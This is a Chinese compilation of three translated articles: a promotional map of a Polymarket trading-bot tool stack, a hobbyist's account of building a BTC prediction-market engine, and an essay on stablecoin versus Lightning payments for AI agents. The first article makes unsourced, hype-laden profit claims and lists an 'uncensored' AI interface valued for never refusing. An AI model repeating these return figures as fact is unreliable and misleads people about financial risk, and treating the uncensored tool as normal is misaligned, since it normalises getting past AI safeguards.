28 个仓库。六层架构。一个完整栈。没有缺口。

它如何工作、为什么有效，以及如何用同样的算法在 Polymarket 上赚到第一个 1000 美元——全部都在这里。

构建一个在 Polymarket 上盈利的交易机器人所需的一切——从大脑到回测，再到生产执行层。

我们的英雄：

这篇文章不是关于一个钱包的故事。它是一张栈的地图。下面列出的每个工具都针对性地解决了预测市场运营商最常遇到的资本流失失败模式：缺失数据、缺失验证、缺失纪律、缺失速度。

1、Coinman2：主要英雄

PnL 1,003,450 美元。3,062 次预测。一个钱包。

钱包地址是 “0x55be7aa03ecfbe37aa5460db791205f7ac9ddca3”，在 Polymarket 上的公开 handle 是 @coinman2。2024 年 11 月加入。有记录的最大单笔盈利：113.8K 美元。

当交易者第一次在链上看到其增长轨迹时，加密 Twitter 的最初反应很简单：假的。一个零售级钱包实现七位数累计 PnL，应该出现在 Telegram 诈骗群里，而不是可验证的链上仪表盘中。

但区块链不会撒谎。每笔交易都是公开的。每笔结算都是可验证的。

开发者在几周内就逆向工程了其方法。然后他们让 Claude 从零开始重建它。

这篇文章讲述的是使这一切成为可能的完整工具栈——以及每一层实际的作用。

2、Polymarket 是什么，以及优势在哪里

Polymarket 是一个预测市场。用户对结果进行交易：比特币在 15 分钟后会上涨吗？美联储会加息吗？每个合约以 1.00 美元（正确）或 0.00 美元（错误）结算。价格为 0.73 美元的合约意味着市场认为“Yes”结果发生的概率为 73%。

该平台的周交易量在 2026 年初超过 20 亿美元。

自动化交易的关键类别是短时长加密合约——5 分钟和 15 分钟的 BTC 和 ETH 涨/跌问题。它们结算快、提供即时反馈，并且存在结构性漏洞。

Polymarket 更新价格的速度慢于底层资产在 Binance 上的移动速度。2024 年，该延迟平均为 12 秒。到 2026 年第一季度，竞争已将其压缩至 2.7 秒。

对机器来说，2.7 秒就是永恒。

这个差距——Binance 知道什么与 Polymarket 仍显示什么之间的差距——就是本文中所有策略的立足之地。

3、机制，逐步拆解

一个 15 分钟 BTC 合约以 50/50 开盘。十分钟后，比特币在 Binance 上 30 秒内下跌 0.6%。到期时 BTC 将走低的“真实”概率刚刚转变为大约 78%。Polymarket 仍显示 54/46。

这是一个二元合约上的 24 点边缘。这不是预测。从概率意义上讲，结果已经发生了。

一个以低于 50ms 延迟监控 Binance WebSocket feed 的机器人会立即看到这一点。它计算差异，使用 Kelly Criterion 确定仓位大小，并通过 Polymarket 的 CLOB API 执行。两秒后，市场修正。仓位以盈利平仓。

每天重复 200–500 次。

这就是 coinman2 的结果。不是魔法。而是对至今仍存在的差距进行工业规模的利用。

4、为什么这个差距会存在

Polymarket 是一个去中心化预测市场。价格只在交易者主动挂单时更新——没有专用的做市商实时刷新报价。在 Binance 行情波动后的几秒内，合约的“聪明”一方很少有卖家愿意以过时的赔率交易。

随着更多机器人进入，这个差距已从 12 秒缩小到 2.7 秒。它会继续缩小。但还没有完全关闭。而要完全关闭它，需要那种实时自动化做市商，而这些做市商本身已经是套利机器人了。

这是一场没有明显终局的军备竞赛。

5、Polymarket API 基础设施

在任何 AI 之前，你需要原始基础设施。Polymarket 暴露了四个表面：

官方 Python 客户端 “py-clob-client”（pip install py-clob-client）封装了这一切。三行代码获取订单簿。五行代码在 Polygon（链 ID 137，USDC 结算）上放置一个签名的限价单。

开始的关键仓库：

• Polymarket/agents — 官方 AI 代理框架。Gamma API、CLOB API 和 LangChain 已连接在一起。内置 Chroma 向量数据库用于摄取新闻源。
• polyterm — 终端仪表盘：鲸鱼追踪器、套利扫描器、内幕检测、与 Kalshi 的跨平台比较、市场风险评级 A–F。

6、逐层拆解栈

第 1 层：大脑

AI 推理。coinman2 机器人运行在 Anthropic 的 Claude 上。2026 年 3 月，一项受控实验让 Claude 对抗 OpenClaw 框架——相同的起始资金（1000 美元）、相同的市场条件、48 小时。

Claude：+1,322% 回报。OpenClaw：完全爆仓。

研究人员将差距追溯到一个因素：风险管理质量。Claude 生成的代码包含更保守的默认参数、更多防御性边缘情况和更干净的错误处理。OpenClaw 过度杠杆进入亏损序列且无法停止。

• Claude (Anthropic) — 主要策略师。对市场问题进行推理，估算概率与当前价格的差异，识别边缘大小。
• Qwen3-Coder — 开源编码 LLM。监控实时表现，检测拥挤策略，自主重写模块。
• G0DM0D3 — 无审查 AI 接口。在不拒绝的情况下处理令人不舒服的市场论点。
• Claude Squad — 并行运行多个 Claude 实例。一个监控政治，一个加密货币，一个体育——全部喂给同一个引擎。

第 2 层：编排

让代理实际做事。没有执行层的推理引擎只是意见生成器。

• Agency Agents — 基于角色的辩论：多头代理 vs 空头代理 vs 风险经理否决。共识决定交易和仓位大小。
• ClaudeAgent OneClick — 一键 Claude 代理部署。几分钟内实现持久的 24/7 市场观察者。
• MiroThinker — 强制思维链层。机器人必须在入场前为每个仓位辩护。
• Superpowers — 用网页访问、文件操作、任意 API 调用扩展代理。每个决策周期都有新鲜数据。
• TradingAgents — 多代理框架：基本面分析师 + 技术分析师 + 情绪分析师 → 聚合信号。

第 3 层：数据 & 市场信号

眼睛。机器人只能看到它能看到的东西那么好。这一层曾经是四个工具。添加宏观数据、指标计算和实时图表引擎后，它更接近 Bloomberg 终端而非脚本。

• OpenBB — 开源 Bloomberg。100+ 数据源统一：股票、宏观、加密、期权流、新闻。骨干。
• Dexter — 自主深度研究。SEC 文件、财报电话会议、分析师报告——几秒内完成两个小时的分析师工作。
• MCP Server — 通过 MCP 协议的金融数据集。类型化、验证的数据直接进入 Claude 的上下文窗口。
• Crucix — 链上聚合器。Polygon 上的鲸鱼钱包移动可能比可见订单簿提前几分钟。
• fredapi — 美联储发布的所有宏观经济数据集，免费，通过一个 Python 包装器。CPI、失业率、收益率曲线——直接管道输入 Claude 的上下文以锚定任何宏观相关市场。
• Binance Collector — 预测市场方向并计算短时长 BTC/ETH 合约的公允价值。每个延迟套利交易的价格发现部分。
• Polymarket Assistant Tool  — 指标引擎，在实时市场中呈现方向偏向。将原始订单簿 + 价格行为翻译成可用的信号。
• lightweight-charts — TradingView 自己的图表库。14k 星，45KB，免费。监控仓位和实时信号的生产级仪表盘的最快路径。

第 4 层：市场情报

其他人已经构建好的东西。你不必从零开始构建一切。一个完整的 Polymarket 特定情报和预构建机器人生态系统已经存在。

• Polyscope  — 扫描 2000+ 个市场。鲸鱼警报（5k/10k/20k）、概率变化、成交量激增——全部实时发送到 Telegram。
• Polywhaler — 10k+ 美元鲸鱼交易追踪器。实时警报、内幕检测、AI 生成的信号。
• WHALES tracker (Apify) — 交叉引用 Gamma + Data + CLOB。输出 Smart Money Consensus、健康分数、信念分数作为结构化 JSON。
• HyperBuildX bot — 基于 Rust，低于 100ms 延迟。当多个鲸鱼涌入同一市场时，AI 对复制交易信号进行排名。
• polymarketanalytics.com — 开放交易者分析。顶级钱包 PnL、最大盈利、Kalshi 交叉比较。
• polyrec — 结合 Chainlink 预言机、Binance feed 和完整订单簿深度的实时终端仪表盘。70+ 指标、自动 CSV 日志、内置策略回测器。你能免费获得的最近似机构驾驶舱的东西。
• Polymarket-Trading-Bot — 53k 行 TypeScript。七个预构建策略：套利、动量、做市、AI 预测、鲸鱼复制交易、收敛等。一个完整的框架——选择策略、插入密钥、运行。

第 5 层：回测 & 模拟

在运行前证明它。这是大多数零售机器人跳过的层——也是大多数零售机器人爆仓的原因。

推理模型可以对从未盈利过的策略听起来令人信服。可以跟随已移动的鲸鱼交易。上个月有效的信号可能昨天已被套利掉。唯一的防御是在真实资本触碰 CLOB 之前，用历史数据和模拟执行运行每个想法。

• prediction-market-backtesting — 针对真实历史 Polymarket 和 Kalshi 数据回测交易策略。对任何新想法的第一次 sanity check，然后才进入生产。
• polybot — 带纸上交易的完整执行和市场数据基础设施。Kafka、ClickHouse、Grafana——机构交易台会构建的分析管道。从生产策略逆向工程而来。

7、完整的信号流

8、人类交易者 vs 机器人：数据

使用类似延迟套利方法的人类交易者和自动化机器人之间的绩效差距已有记录。在跟踪期间，机器人产生了大约 206,000 美元。使用相同逻辑的人类产生了大约 100,000 美元。

2 倍差距。同样的市场。同样的策略。同样的时间窗口。

差距不是更好的预测。而是执行。人类会犯四个系统性错误，而机器人不会：

• 入场迟缓。当人类识别 Polymarket 延迟、确认 Binance 移动并手动下单时，窗口往往已经关闭。
• 不一致的仓位大小。人类在自信时超大仓，在不确定时过小仓——这与 Kelly 数学完全相反。情绪化仓位大小会摧毁数千笔交易的期望值。
• 疲劳。人类监控 15 分钟 BTC 合约进行 8 小时会衰退。运行 72 小时的机器人会在第 72 小时做出与第 1 小时相同的决策。
• 回撤心理。在亏损序列后，人类要么放弃有效策略，要么加倍下注。两者都会摧毁资本。带有硬杀开关的机器人两者都不做。

9、为什么是现在

已经在运行的机器人拥有复利优势。边缘今天仍然存在。窗口正在缩小。理解这个栈的最佳时间是六个月前。

第二个最佳时间就是现在。

原文链接：28 tools under the hood of bot that made $1M on Polymarket

DefiPlot翻译整理，转载请表明出处

如果你一直在关注我之前发表的文章,那你应该知道我对加密货币市场产生了兴趣,并开始投资——不只是在加密货币领域,也包括其他金融市场。我在Polymarket上的交易之旅非常有趣,尤其因为我是一个相信长期价值投资的人。我的方法一直是定期定额投资或一次性买入我什么样的资产,然后让收益随着时间推移而复合增长。

我读过了伯顿·G·马尔基尔的《漫步华尔街》和本杰明·格雷厄姆的《聪明的投资者》,这两本书教会了我投资的真正含义。它们的核心思想都是:贪婪和情绪化决策是你作为投资者最大的两个敌人。通过历史案例,作者展示了这些力量如何破坏最合理的投资决策。它们还指出,专业管理基金和指数基金的长期回报大致相同,甚至某些比较显示,主动交易和被动指数投资的货币收益在长时间内趋于一致。交易可能带来短期收益,但当情绪和贪婪占据上风时,一个错误就可能抹去三个月的利润。教训永远是一样的:投资是一场长跑。

那么问题来了,为什么还要做交易?因为人性贪婪。每个人都想快速赚钱,没人愿意等。今天的比特币市场就是一个很好的例子。比特币一直在65000美元到70000美元之间波动,每当它突破70000美元后,通常会出现剧烈拉回。大家常常挂在嘴边的"低买高卖",但当价格真的下跌时,大部分人又会因为害怕而不敢出手。相反,他们在价格上涨时跟风买入,等比特币冲到70000美元以上,结果突然回调,投资就变成了浮亏。同样的剧本在黄金和股市也不断重演。人们在价格上涨时蜂拥而入,价格下跌时就怪市场。现实就是:市场一直都是这样运作的,一些人的错误决定了另一些人的利润。

交易中的道理也一样。我在YouTube上见过太多把日内交易当纯粹赌博的例子。如果你真的有某种信息优势或者内部消息,那另当别论。但仅仅靠学习蜡烛图、凭直觉做多做空,这可不是什么能带来长期收益的策略。这也是为什么你总能看到类似"我在日内交易中亏掉了XX钱"的视频。这恰恰就是格雷厄姆警告过你不要踏入的陷阱。

1、我的旅程

几个月前,我偶然发现了像Kalshi和Polymarket这样的预测市场。一开始我以为它们只是赌博网站,但在看了"Art of Problem" YouTube频道关于预测市场运作和Polymarket如何工作的视频后 ,我的看法彻底改变了。

预测市场很多时候是一个二元市场,你对某个问题的结果下注。比如说"阿森纳能赢四分之一决赛吗?"有两个结果:"YES"和"NO"。如果YES的价格是0.70,NO的价格是0.30,这意味着YES结果的概率是70%。如果你也相信YES,你就投入资金买这一方的份额。如果你判断对了,每个份额支付1.00,你赚取的差价就是利润(在这个例子中是每个份额0.30的利润)。如果你判断错了,你的份额归零,你会失去全部投资。

有趣的是,这些价格完全由集体意见驱动。当你买入YES这一方的份额时,你就是在跟NO那一方的人对赌,你相信自己知道一些他们不知道的信息。这本质上是一种博弈论:你的决策会影响其他参与者的观点,随着时间推移,市场会逐渐向正确结果收敛。我们在内幕交易中已经见过这种情况。最近的一个例子是关于委内瑞拉总统被捕的事件:在事件真正发生前的三到四天,有个"巨鲸"在YES结果上下了一个巨大的赌注,赌美国会对委内瑞拉采取行动并逮捕其总统。当这个赌注出现时,其他人注意到了,迅速把仓位调整到YES这一方,推动了YES份额价格的上涨。

很长一段时间里,Polymarket成了我获取地缘政治和全球事件新闻信息的主要来源。我当时还没有在Polymarket上做交易,只是在观察预测市场走势与黄金、比特币和股市之间的关联。我用这些信号来买入黄金并对冲更广泛的市场波动。这很有趣,直到我接触到比特币的5分钟涨跌市场。

2、比特币5分钟市场

在Polymarket上,有针对比特币、以太坊、Solana和瑞波的5分钟预测市场。每个市场都有一个目标价格叫做"击败价"。如果你能正确预测在5分钟窗口期结束时,价格会高于还是低于这个目标价,你就赢了。听起来很简单,但这种简单只是个假象。比特币是一种高波动性资产,5分钟的时间窗口对于RSI、MACD或EMA等传统指标来说,间隔太短暂,无法可靠地预测方向。时间窗口可能看起来很短,但当份额价格大幅下降而你又无法解释原因时,你就会开始更仔细地思考这些市场到底是如何运作的。

我对此产生了极大的兴趣,因为我每天都关注比特币价格走势,而且我认为自己能找到某种模式来获得优势。这原本只是一个有趣的实验,后来变成了严肃的项目。部分吸引我的是Polymarket背后的技术。它内部使用区块链进行结算,链下订单撮合以提高速度,并利用智能合约管理整个市场的生命周期。

我想知道Polymarket是如何创建这些市场合约的,条件代币框架是如何运作的,当你购买份额时你的USDC会发生什么,为什么在购买后份额不能立即卖出,击败价从哪里来的,以及谁来决定结果是上涨还是下跌。我想探索区块链上的交易是如何运作的,并深入了解Polymarket的内部机制,因为你要认真对待这个平台的话,就需要了解交易的每一步都发生了什么。

3、Polymarket的技术内幕

经过对Polymarket内部机制的深入研究,以下是一切如何运作的。从根本上说,Polymarket运行在Polygon上,这是一个以太坊Layer 2网络,使得交易成本可以忽略不计。当一个二元市场被创建时,Gnosis条件代币框架处理核心机制。对于你锁定到合约中的每一美元USDC,它会铸造两个条件代币:每个结果各一个,比如上涨和下跌。这些代币遵循ERC-1155标准,这意味着一个智能合约管理所有仓位的余额。一个完整的代币集合(一个上涨和一个下跌)总是可以兑换正好是1.00 USDC,这是维持价格理性套利的基本约束。

说到市场结算,Polymarket最初依赖UMA的乐观预言机来进行基于事件的结算。UMA采用乐观模型:有人提议一个结果,它就被接受为事实,除非有人在挑战窗口期内提出异议。如果提出异议,它就会升级为UMA代币持有者之间的去中心化投票来确定正确结果。这对于像选举结果这样主观的或基于事件的问题很有效,但对于每五分钟结算一次的比特币价格市场,你需要更快、更客观的东西。这就是Chainlink发挥作用的地方。对于比特币5分钟市场,Polymarket使用Chainlink价格反馈,它从多个交易所聚合比特币价格并传递到链上。结算是自动且无需信任的:智能合约在窗口期结束时读取Chainlink反馈,与击败价进行比较,并在没有人工参与的情况下结算市场。

交易层同样很有意思。Polymarket不像大多数DeFi平台那样使用AMM(自动做市商)。相反,它使用混合的中心化的限价订单簿(CLOB)。当你下单时,它会到达链下匹配引擎,该引擎配对兼容的买卖订单。双方使用EIP-712类型签名对他们的订单进行签名,然后配对的订单被提交到Polygon上的CTF Exchange智能合约进行原子的链上结算。这就是订单生命周期变得清晰可见的地方:匹配后,交易被提交到区块链(已匹配),等待被包含在区块中(已挖矿),最终获得足够的区块确认(已确认)。这也是份额在购买后立即无法卖出的原因。你的购买需要经过这个完整的链上结算周期,代币才会出现在你的余额中,并可用于新的订单。这种混合设计让你在订单撮合上获得中心化交易所的速度,同时保留区块链结算的安全保障,其中每一笔交易都是可验证且非托管的。

4、交易引擎

我知道我需要构建一个自动化交易机器人,因为人类不应该参与这个过程。情绪会介入并导致比任何算法都多的错误。我想围绕我发现的模式构建一个系统,一个能代表我交易的脚本。如果我输了,那纯粹是因为我的算法没有起作用,而不是因为情绪化的决策或第三方干扰。

一位好朋友告诉我,订单簿永远是这类市场交易的真实来源。所以我开发了我的第一个交易引擎,名叫"晚入场",它是事件驱动的。想法是在终端中显示订单簿并持续更新,通过订阅Polymarket的订单簿WebSocket,更新是实时的,没有延迟。我还想尽量减少API调用,并尽可能依赖WebSocket,以减少下单时的延迟。关于Polymarket有一点值得注意的是,没有市价单的概念。一切都是限价单。当你尝试通过SDK创建市价单或通过UI购买时,它实际上会在该方最优卖价处下一个限价单。我想保持API调用最小化,并尽可能让WebSocket驱动交易流程。脚本的初始版本看起来像这样,

终端视图显示了实时的订单簿覆盖和实时更新。我曾经盯着它看了好几个小时,试图找出模式并观察人们对价格波动的反应。我从多个来源获取比特币价格,比如币安、Coinbase和Chainlink本身,来看它们之间的差异如何影响订单簿深度和定位。

这持续了几周,我把引擎构建为事件驱动系统。有一个组件负责发送何时进入市场的信号。我使用RSI、ATR和跨来源价格差异等指标来检测巨鲸抛售或拉盘并触发买入信号。然后引擎会下单,另一个组件会监控仓位直到市场时段结束。它设置了必要的止损,识别钟形曲线模式,过滤掉虚假信号,并且只在止损被触发时退出。

从表面上看这种方法似乎奏效了,95%的情况下确实如此。但那剩下的5%,我损失了一大笔钱。那时我才恍然大悟:目标不应该是非要等到市场结算时才卖出。一旦你有适当的利润,你就卖出并退出。这些市场有时是不可预测的,所以即使今天有效的策略,明天也可能失效。

我的早期引擎有几个根本性的局限。它无法执行买卖策略。它纯粹是基于信号的:只买一次,持有到期,中间不卖。我还需要一个模拟系统,可以用模拟钱包针对真实市场进行测试。我在迭代策略时承受不起亏损,所以我需要一个模拟真实世界条件的模拟环境:延迟、部分成交、意外的订单取消,以及由于购买后需要链上确认而无法立即卖出的限制。所有这些都必须被考虑进去,这样当我编写策略并测试时,我可以相信模拟中有效的策略在生产环境也会有效。

5、与Claude一起规划新引擎

我不知道从何开始,也不知道如何让引擎具有可扩展性。想法很简单:你写一个策略,引擎帮你交易。我用Claude Code (Opus 4.6) 来规划引擎架构,重点是如何让它可扩展以及模拟如何工作。我必须说,结果让我印象深刻。我使用 Plannotator 插件与Claude协作,它提供了一个清晰的界面,你可以阅读计划并给代理反馈。经过几轮反复沟通,我们达成了一个我有信心的最终架构。

新引擎基于生命周期。你总是从未来的市场时段开始,至少比当前时段提前一个,这就是为什么我把它命名为"早鸟"。在任何时候你都不能在当前市场中启动引擎。每个市场都是一个生命周期:它经历 启动 -> 运行 -> 结束 的阶段。引擎的工作是编排这些市场生命周期。每个市场在被创建时只运行一种策略。你传入一个参数指定你想运行哪种策略,市场生命周期在启动阶段创建它,在运行阶段执行它,监控它,并等待完成后再过渡到结束阶段。然后它计算盈亏并通知引擎它已完成。引擎提供了一组用于构建策略的API。策略本质上是一个使用这些API来下买单和卖单的函数。完整的架构图如下所示:

规划完成后,我让Claude基于这个架构创建了一个初始骨架,它做得相当好,包括模拟代码。我还知道我需要可靠的日志系统,这样当赢或输时,我有必要的数据来调试策略为何失败。Claude在这个方面也帮了不少忙。它建议构建一个图表可视化工具,接收现有的日志文件并为每个市场窗口生成交互式图表。输出看起来像下面的图片。这使得通过视觉分析哪里出了问题并找到潜在改进变得容易得多。

6、策略与最终思考

有了引擎,我准备编写自己的策略了。我没法分享具体的发现,因为那会暴露我的优势,但我可以告诉你,没有任何单一策略能永远赢。当你研究订单簿和指标时,你会发现某些模式只在一天中的特定时段出现,而不是一直都存在。你的优势在于知道这些窗口期是什么时候,并且只在那些时段交易。这也不是说每轮都要赢。你有时会输,但你的策略应该有出色的退出信号,将损失降到最低。引擎提供了必要的API,并在模拟和晚入场策略 (/engine/strategy/) 下有示例,展示了如何在不让利润回吐过多的情况下退出。

值得一提的是,AI不会直接帮你写策略。一切都取决于上下文。如果你在特定的指标如订单簿变动、缺口行为和价格差异上训练模型,你有可能让它生成策略。这是一个我想尝试的实验,但那是未来的事了。

引擎是开源的且积极维护。如果你感兴趣,可以查看github仓库。 README链接了涵盖市场术语和如何使用引擎开发策略的完整指南。该仓库是引擎的公开版本,并定期从我的私有仓库同步。唯一的区别是策略:公开版本附带测试策略,而我的私有仓库包含我实际交易的策略。下面是引擎输出的截图,

如果你想知道这是否盈利,我确实从中赚了几百美元。但持续开发策略是一个挑战。三天前有效的策略,今天可能就失效了,所以你需要不断寻找新的模式并识别你能找到的任何优势。我有全职工作,每天坚持做这件事是不可持续的,所以我尽量只在周末有时间的时候交易。我花了无数个不眠之夜构建最初的引擎并找到曾经奏效的模式。鉴于我的工作和付出的代价,我说不好我是否会长期继续做这个,但我不会像之前那样逼自己了。我的目标从来不是成为一个活跃的交易者。而是学习和探索一个真正让我感兴趣的领域,并写一些像这样的文章让其他人也能从我的经验中学习。

原文链接: My Journey Building a Polymarket BTC Trading Engine

DefiPlot翻译整理，转载请标明出处

一切都在以 AI 的速度前进。

就在几个月前，"我的智能体如何支付"这个问题还没有好的答案。人类不得不频繁介入，帮助智能体登录服务、获取 API 密钥以绕过信用卡支付网关，这大大削弱了持久化智能体的实用性。

如今，已有数十个（甚至数百个？）钱包和工具让智能体能够在新兴的机器可支付网络上半自主地获取资金来购买服务。从虚拟信用卡（例如 Visa 的 CLI）到稳定币（通过 Coinbase 的 x402），再到比特币的闪电网络（通过 L402），以及 Tempo 新推出的 Stripe 支持的 MPP 协议，选择丰富多样。

已有数万个付费端点可供使用，其中最受欢迎的服务是智能体今天所需的基础设施组件——如生成式 AI 后端、托管、搜索和数据提供商。这些是新兴智能体商业中的"镐和铲"。

展望未来，想象还会出现什么令人兴奋。未来的智能体需要什么？在 AI 驱动的丰裕世界中，什么会保值并增值？智能体能否在这个新数字经济中自主赚钱？这些问题等待着建设者、创业者和智能体去探索，而他们必将探索。

智能体支付，以及智能体一切，都将继续增长。人们很想知道哪种支付协议最适合智能体支付，但事实上，现代智能体足够聪明，能够使用任何文档完善的协议来完成工作。更根本的问题是：什么类型的数字货币最适合智能体经济？

稳定币和比特币是正在崛起的两大竞争者。

稳定币正在争夺智能体商业中的使用份额，这并不令人意外——它们的公司倡导者一直在公开宣传。但比特币同样适用于智能体支付这一点仍然被广泛低估。许多人仍未意识到，比特币不仅仅是一种储蓄资产；它还可以以极小的数量进行交易，即时、在全球范围内转移价值。这正是智能体自主运行所需要的能力。

但我们仍处于智能体如何使用以及为何使用货币的非常早期阶段。那么，它们会选择哪种货币？

美元稳定币的优势显而易见：它们让数字美元无论身在何处都能被任何想要的人或事物所使用。这种固有的无国界性，加上它们能够避免比特币这类仍属投机性资产的波动性，以及可以在无需身份验证的情况下使用（至少目前如此），使稳定币非常适合智能体当前的需求。通过 x402 在 Base 网络上支付 0.001 美元 USDC 来调用你最喜欢的 API，简直轻而易举。这很酷。

但稳定币长期存在一个根本性缺陷，无论对人类还是智能体使用都值得审视：稳定币是中心化权力和权威的产物。这有着深远的影响。

稳定币需要许可才能使用。这种许可隐性地来自于稳定币发行方，他们可以随时冻结任何稳定币代币背后的智能合约。这种守门权力被所有稳定币运营商定期行使，通常与黑客攻击或执法行动有关——这些表面上看是出于善意。但热爱自由的人们（以及他们的智能体）应该深思这样一个问题：在没有有意义的监督或问责的情况下，这种金融审查成为可能——尤其是在整个数字经济的巨大规模下——这意味着什么？如果每一个行动都需要少数几家稳定币公司高管的默许，自由社会还能存在吗？

每一种稳定币（而且有很多种）都运行在若干个加密网络上（同样有很多种）。这产生了组合爆炸式的可能性，且每种在技术上互不兼容。这意味着在你或你的智能体进行稳定币交易之前，你不仅需要知道对方想用稳定币——还需要就特定网络上的特定代币达成一致。如果你没有那种特定风味的稳定币，就需要兑换成正确的种类。这对人类来说是 UX 上的痛苦，对智能体来说则是摩擦来源和额外成本。当然，桥梁将会出现，使这种兑换变得越来越容易，但这样的桥梁将不可避免地成为生态系统中的额外中心化和脆弱点。

稳定币完全无法提供任何金融隐私。稳定币交易在其区块链钱包地址上是公开的，揭示了消费和行为模式。这比传统支付系统的隐私性差得多——在传统系统中，只有交易涉及的金融机构才能看到交易信息。而使用稳定币，就像你的信用卡账单被公之于众。

例如，你可以在这里看到我的 OpenClaw 智能体配备了一个 Base 网络上的 AgentCash USDC 钱包，获得资助（5.11 美元），通过 x402 使用 StableTravel 搜索前往旧金山的航班（0.02 美元），然后再次通过 x402 使用 Exa 搜索温哥华的泥地球场（0.007 美元）。

虽然扫一眼区块链浏览器可能不会让这一切立即显现，但它在多个方面侵犯隐私。首先，你的钱包地址会暴露给你支付的每一个商家，其中任何一家都可以轻松查到你完整的交易历史。其次，每一个目标地址都是公开的，稍加侦查，这些地址就可以关联到特定商家，因为这些映射关系可能会被泄露和索引。例如，我让 ChatGPT 查看我的 OpenClaw 智能体在 Etherscan 上的公开交易历史，它就能推断出第一笔支付去了 StableTravel 钱包，并以高概率推测第二笔支付是 Exa 搜索。这并不需要高深的科技。第三，所有这些支付数据不仅是公开的，而且是永久公开的，只等着未来被大规模数据分析和画像。如果这听起来令人担忧，那是因为它确实如此。

但稳定币运营商开始对此隐私警示做出反应。值得注意的是，Tempo——在 MPP 中结算稳定币交易的区块链——最近引入了一种隐私区域设计，可以严格限定交易可见性范围到受信任的区域运营商。虽然这比没有好，但它远远未达到我们在智能体规模下支撑金融包容性和个人自由所期望的完整金融隐私——尤其是考虑到如果/当监管压力使其成为要求时，中心化发行方或网络有一天可能要求 KYC 权限。换句话说，稳定币主要是合规工具，并且将一直如此。

应该承认，合规本身并非坏事——事实上，对于世界上几乎每一家受监管的公司来说，合规是法律上的必要，通常旨在保护我们免受不良行为者的侵害。那么问题在哪里？这其中有微妙的差别。

一个问题是我们在优化什么。做事有先后顺序，我倾向于认为我们应该首先创造服务于用户（无论是人类还是智能体）需求的东西（在这种情况下是货币形式），然后再确定最不具侵入性的合规方式。这是一个可以谨慎处理的问题。例如，有许多受公众监管的金融机构今天提供广泛的比特币产品（以及更广泛的加密货币），同时遵守其司法管辖区的所有监管要求。所以我们有证据表明，赋予更大个人自由的技术和合规性不必相互排斥。

更大的担忧是稳定币的中心化特性——无论是在发行方、网络、桥梁还是区域运营商的层面——造成了监管捕获或滥用的风险。即使是民主政府最坚定的支持者也应该明白，我们的权威和控制系统即使在那些我们不喜欢或不信任的人掌权时也需要继续运作。因此，我们都应该担心一个不断增长的全球数字经济日益受到单一国家政府日益加强的监管控制，包括其潜在的过度行为——通常表现为监管越权。

然而，大多数这些关于监管以及稳定币的担忧将停留在"表面之下"，绝大多数人和他们的智能体根本不会在意。0.001 美元 USDC 的 API 调用仍然诱人地简单方便。

更重要的是，围绕稳定币服务于智能体和人类商业的营销只会从此增加。稳定币发行方及其合作伙伴将在公关上投入巨资，推广有利于其资产的智能体协议。消费者意识将继续提高，繁荣的开发者生态系统将出现，分销将通过金融科技巨头已经控制的现有产品和平台推动，在市场的两端利用这些优势。他们将与更大的行业参与者合作，推动、推动、再推动。

综上所述，我们可以预期稳定币的采用率将增长。

然而，存在中心化控制的替代方案仍然至关重要。即使是实用主义者也应该承认，建立一个仅靠少数人许可才能运作的智能体经济，会使我们所有人处于脆弱的境地。

幸运的是，比特币的闪电网络已经提供了替代方案。

闪电网络可以即时结算任何规模的跨境支付，具有高吞吐量、低成本、无需用户身份的特点，全部以比特币计价。但与稳定币的加密网络不同，闪电网络通过私密的、洋葱加密的路径路由支付，模糊了交易细节。支付隐私在协议设计之初就已内置。

最棒的是，因为是比特币，没有发行方创建和分配代币，所以没有可以被冻结的智能合约。自我托管的比特币始终可以由持有私钥的人转移或使用。真实货币可以即时到达你的钱包（不像信用卡，资金需要数天才能结算），并且你可以 100% 确定钱是你的（不像稳定币代币本质上只是借条），这几乎像是魔法。

闪电网络不仅避免了发行方的需求，而且作为一个中立的开放协议，闪电网络没有一群集中的决策者来运营项目。与比特币本身一样，它完全是开源软件，由全球开发者维护，由去中心化的节点网络运营。闪电网络的日益普及不会集中化任何权力，因为根本就没有权力可以集中化。这种长期保持可信中立性的能力，使闪电网络有机会在长期内成为每个人都汇聚的支付轨道，作为任何其他专有赢家通吃结果的替代方案。

闪电网络是一项已经过实战考验的技术。它已经运行了近十年，在全球范围内进行机器对机器支付，证明了其去中心化设计能够长期维持。传统上，在闪电网络之上构建和部署支付解决方案一直有些困难。但这种情况已经改变。开发者体验终于跟上了。现在有许多工具和钱包（如 MoneyDevKit、Lightspark、Alby 和 Lexe）使开发者和商家能够轻松开始通过闪电网络启用智能体支付，运行节点和管理流动性的几乎所有复杂性都被抽象掉了。例如，只需执行 "npx @moneydevkit/agent-wallet@latest init"，就能给你的智能体一个自我托管的闪电网络钱包，使其能够立即开始接收和发送支付。

对于注重实际成本的务实主义者来说，值得注意的是，在适当条件下，闪电网络路由智能体支付可以大幅降低费用。例如，如果你与同一交易对手进行高频交易，你在闪电网络上的边际交易成本几乎降至零，而稳定币则有一个每笔交易的最低费用下限。例如，在 Base 网络上，当前的最低 gas 价格约为 0.0005 美元，使得使用 USDC 进行极小额的微交易成本过高。

即使是像 Tempo 这样的中心化区块链——运营商可能在短期内完全补贴稳定币交易成本——你也不得不思考，在一个假设的未来，如果他们胜出并实现对支付的垄断控制，会发生什么：Stripe 将拥有巨大的定价权，实际上决定了世界为支付付出的代价。

另一方面，闪电网络的无需许可和开放特性确保了路由节点和流动性提供者之间的竞争压力排除了任何人未来获得垄断控制和垄断定价权的可能。

这使得闪电网络不仅在长期内可信地更加中立，而且可信地更加便宜。

对闪电网络的公平评价必须指出其主要缺点：接受并持有比特币用于智能体支付（或任何支付）会让你面临短期价格波动风险。如果你是一个以美元计价的短期债务经济参与者，你可能会发现价格波动的下行风险难以接受。一种解决方案是要求以比特币收款，并将足够数量的资金转换为美元以覆盖短期债务。另一种是使用新兴的比特币原生稳定价值机制，如 stable channels。或者，你和你的智能体可以放长眼光，押注涨跌在长期内会净值为正——知道更多的活动，随着时间的推移，最终会减少波动性。

或者，你可以让你的智能体利用闪电网络的低成本、去中心化、中立和可互操作的路由特性，直接发送和接收美元，而无需担心波动性。这在今天已经可以实现。例如，Cash App 客户可以从其美元余额向 Square 商家付款，资金以比特币形式通过闪电网络流动，然后以美元形式到达商家账户。这种"隐形"使用闪电网络对商家的实际好处是避免了昂贵的信用卡处理费用，同时仍然使用他们熟悉的货币——有点像获得了稳定币的快速和低成本优势，却没有相关的担忧。

归根结底，智能体会采用稳定币还是比特币作为货币，很大程度上取决于智能体背后的人类，取决于他们对尾部风险的评估、对金融隐私的渴望，以及生活在中心化控制威胁下的意愿。

